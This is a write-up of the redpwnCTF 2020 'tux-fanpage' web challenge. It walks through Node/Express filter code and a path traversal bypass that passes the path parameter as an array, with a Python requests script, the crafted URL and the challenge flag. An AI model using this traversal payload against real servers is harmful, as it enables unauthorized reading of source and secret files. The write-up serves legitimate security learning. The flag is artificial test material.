redpwnCTF 2020 web
tux-fanpage
I knew this was a path traversal challenge from the url
immediately when I saw it. It's typical form of page?path=index.html
showed it.
We were also given the back end since there are some filters there to prevent path traversal.
Source code
app.get('/page', (req, res) => { let path = req.query.path //Handle queryless request if(!path || !strip(path)){ res.redirect('/page?path=index.html') return } path = strip(path) path = preventTraversal(path) res.sendFile(prepare(path), (err) => { if(err){ if (! res.headersSent) { try { res.send(strip(req.query.path) + ' not found') } catch { res.end() } } } }) })
This is where we take in the input and renders out the page. But before sendFile()
is called, the string must go through strip
, preventTraversal
and prepare
preventTraversal
Here it checks if dir
contains any ../
or ..\\
it removes it if it exists.
//Prevent directory traversal attack function preventTraversal(dir){ if(dir.includes('../')){ let res = dir.replace('../', '') return preventTraversal(res) } //In case people want to test locally on windows if(dir.includes('..\\')){ let res = dir.replace('..\\', '') return preventTraversal(res) } return dir }
prepare
This function will create an absolute path using ./public/
and dir
by concatenating them.
//Get absolute path from relative path function prepare(dir){ return path.resolve('./public/' + dir) }
strip
Strip will get rid of all leading non-alphanumeric elements.
//Strip leading characters function strip(dir){ const regex = /^[a-z0-9]$/im //Remove first character if not alphanumeric if(!regex.test(dir[0])){ if(dir.length > 0){ return strip(dir.slice(1)) } return '' } return dir }
My attempts
First, I thought that I could bypass the filters with wired encodings, but that wouldn't work here since it will need some sort of special character to work and strip
takes care of it.
Then I tried to do stuff within in the assets
folder where all the images and resources are stored. No luck.
Then I say something that hinted me
Inputs
When I was closely checking the strip
function, I saw something interesting:
dir[0]
This seemingly checks the first character of a string, but that's only the case if we input a string. What if we send in an array? Well in that case, strip
will only check the first element instead of the first character.
arrays
Then I experimented with arrays by running commands in the nodejs
console. And I found out that we could bypass the filters.
For preventTraversal
if we pass in an array to includes()
we check each element, instead of all characters. In this case if our payload is not pure ../
we could by pass it.
For prepare
I experimented with concatenation between string and arrays and found that it will just render the array elements with ','
.
Payload
Consider this payload:
['1','/','/../../../index.js']
The '1'
solves the strip
filter, then by manipulating and testing the concatenation, we get
./public/+['1','/','/../../../index.js'] = ./public/1,/../../../index.js
which is perfect for us. But how do we input an array?
input arrays
We could use the python requests library or we could do it by hand. Here's my python script and the printed out url.
import requests payload = {'path': ['1','/','/../../../index.js']} r = requests.get('https://tux-fanpage.2020.redpwnc.tf/page', params=payload) print(r.url) print(r.text)
The url:
https://tux-fanpage.2020.redpwnc.tf/page?path=1&path=%2F&path=%2F..%2F..%2F..%2Findex.js
Flag
const flag = 'flag{tr4v3rsal_Tim3}'